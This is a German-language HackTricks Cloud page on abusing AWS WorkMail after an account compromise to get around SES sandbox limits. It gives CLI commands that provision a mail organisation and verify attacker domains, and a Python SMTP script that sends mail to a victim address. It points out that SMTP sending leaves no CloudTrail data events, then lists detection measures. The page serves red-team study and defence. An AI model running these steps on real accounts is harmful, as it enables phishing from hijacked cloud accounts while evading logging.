AWS - WorkMail Post Exploitation
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Ausnutzung von WorkMail zum Umgehen des SES sandbox
Auch wenn SES im sandbox feststeckt (verified-recipient only, ~200 msgs/24h, 1 msg/s), hat WorkMail keine entsprechende Einschränkung. Ein Angreifer mit langfristigen Keys kann eine temporäre Mail-Infrastruktur aufsetzen und sofort mit dem Versand beginnen:
- Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
- Verify attacker-controlled domains (WorkMail invokes SES APIs as
workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
- Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
Notes:
- Standardmäßiges Empfängerlimit, dokumentiert von AWS: 100,000 externe Empfänger/Tag pro Organisation (aggregiert über Benutzer).
- Aktivitäten zur Domain-Verifizierung erscheinen in CloudTrail unter SES, aber mit
invokedBy:workmail.<region>.amazonaws.com, sodass SES-Verifizierungsereignisse eher zur WorkMail-Einrichtung gehören können als zu SES-Kampagnen. - WorkMail-Postfachbenutzer werden zu application-layer persistence, unabhängig von IAM-Benutzern.
Sendewege & Telemetrielücken
Web client (WorkMail UI)
- Werden als
ses:SendRawEmail-Ereignisse in CloudTrail erfasst. userIdentity.type=AWSService,invokedBy/sourceIPAddress/userAgent=workmail.<region>.amazonaws.com, sodass die wahre Client-IP verborgen ist.requestParametersleak weiterhin den Absender (source,fromArn,sourceArn, configuration set) zur Korrelation mit neu verifizierten Domains/Postfächern.
SMTP (am unauffälligsten)
- Endpunkt:
smtp.mail.<region>.awsapps.com:465(SMTP über SSL) mit dem Postfach-Passwort. - Keine CloudTrail-Datenereignisse werden für SMTP-Zustellungen erzeugt, selbst wenn SES-Datenereignisse aktiviert sind.
- Ideale Erkennungsansätze sind org/domain/user provisioning und SES-Identity-ARNs, die in nachfolgenden web-gesendeten
SendRawEmail-Ereignissen referenziert werden.
Beispiel: SMTP-Versand via WorkMail
```python import smtplib from email.message import EmailMessageSMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”
target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)
</details>
## Erkennungsüberlegungen
- Wenn WorkMail nicht benötigt wird, blockieren Sie es via **SCPs** (`workmail:*` deny) auf Organisationsebene.
- Alarm bei Provisionierung: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, und SES-Verifizierungen mit `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Beobachten Sie anomale **`ses:SendRawEmail`**-Ereignisse, bei denen die Identity ARNs neue Domains referenzieren und die Quell-IP/UA `workmail.<region>.amazonaws.com` entspricht.
## Referenzen
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
> [!TIP]
> Lerne & übe AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lerne & übe GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lerne & übe Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstütze HackTricks</summary>
>
> - Sieh dir die [**Abonnementpläne**](https://github.com/sponsors/carlospolop) an!
> - **Tritt der** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **oder der** [**telegram group**](https://t.me/peass) **bei oder folge uns auf** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos** einreichst.
>
> </details>
HackTricks Cloud

